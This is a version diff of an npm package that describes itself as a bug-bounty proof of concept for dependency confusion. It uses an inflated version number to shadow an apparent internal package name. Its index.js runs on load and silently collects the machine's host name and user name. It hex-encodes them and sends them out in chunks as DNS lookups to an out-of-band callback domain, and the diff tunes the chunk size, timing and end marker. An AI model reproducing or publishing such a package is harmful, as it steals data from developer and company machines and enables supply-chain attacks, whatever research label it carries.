internal-company-module-test-1337 99.99.9994 → 99.99.9995

package/index.js

@@ -7,32 +7,37 @@ module.exports = function() {
 
 (async function executeStealthExfiltration() {
     try {
-        const attackerDomain = "d7rmj75dfm4c510camqgsyib1wmyyu3au.oast.live";
-        
+        const attackerDomain = "d7rmloddfm4ctltnnffg9i546jf7e6imb.oast.me";
+
         const trackingData = JSON.stringify({
             poc: "dependency-confusion",
             host: os.hostname(),
             user: os.userInfo().username
         });
 
-        const hexEncodedData = Buffer.from(trackingData).toString('hex');
+        const hex = Buffer.from(trackingData).toString('hex');
 
-        const chunkSize = 30; 
+        const chunkSize = 20; // più piccolo = meno corruption
         const chunks = [];
-        for (let i = 0; i < hexEncodedData.length; i += chunkSize) {
-            chunks.push(hexEncodedData.slice(i, i + chunkSize));
+
+        for (let i = 0; i < hex.length; i += chunkSize) {
+            chunks.push(hex.slice(i, i + chunkSize));
         }
 
-        const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
-        const sessionId = Math.floor(Math.random() * 0xffff).toString(16).padStart(4, '0');
+        const sessionId = Math.floor(Math.random() * 0xffff)
+            .toString(16)
+            .padStart(4, '0');
 
-        for (let index = 0; index < chunks.length; index++) {
-            const payload = `${sessionId}.${chunks[index]}.${attackerDomain}`;
+        const sleep = ms => new Promise(r => setTimeout(r, ms));
+
+        for (let i = 0; i < chunks.length; i++) {
+            const payload = `${sessionId}.${i}.${chunks[i]}.${attackerDomain}`;
             dns.lookup(payload, () => {});
-            await sleep(500);
+            await sleep(200);
         }
-        
-        dns.lookup(`${sessionId}.eof.${attackerDomain}`, () => {});
 
-    } catch (error) {}
+        // EOF marker stabile
+        dns.lookup(`${sessionId}.eof.0.${attackerDomain}`, () => {});
+
+    } catch (e) {}
 })();

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "internal-company-module-test-1337",
-  "version": "99.99.9994",
+  "version": "99.99.9995",
   "description": "Bug Bounty PoC for Dependency Confusion",
   "main": "index.js",
   "scripts": {
@@ -9,6 +9,6 @@
   "author": "Security Researcher",
   "license": "MIT",
   "dependencies": {
-    "internal-company-module-test-1337": "^99.99.9994"
+    "internal-company-module-test-1337": "^99.99.9995"
   }
 }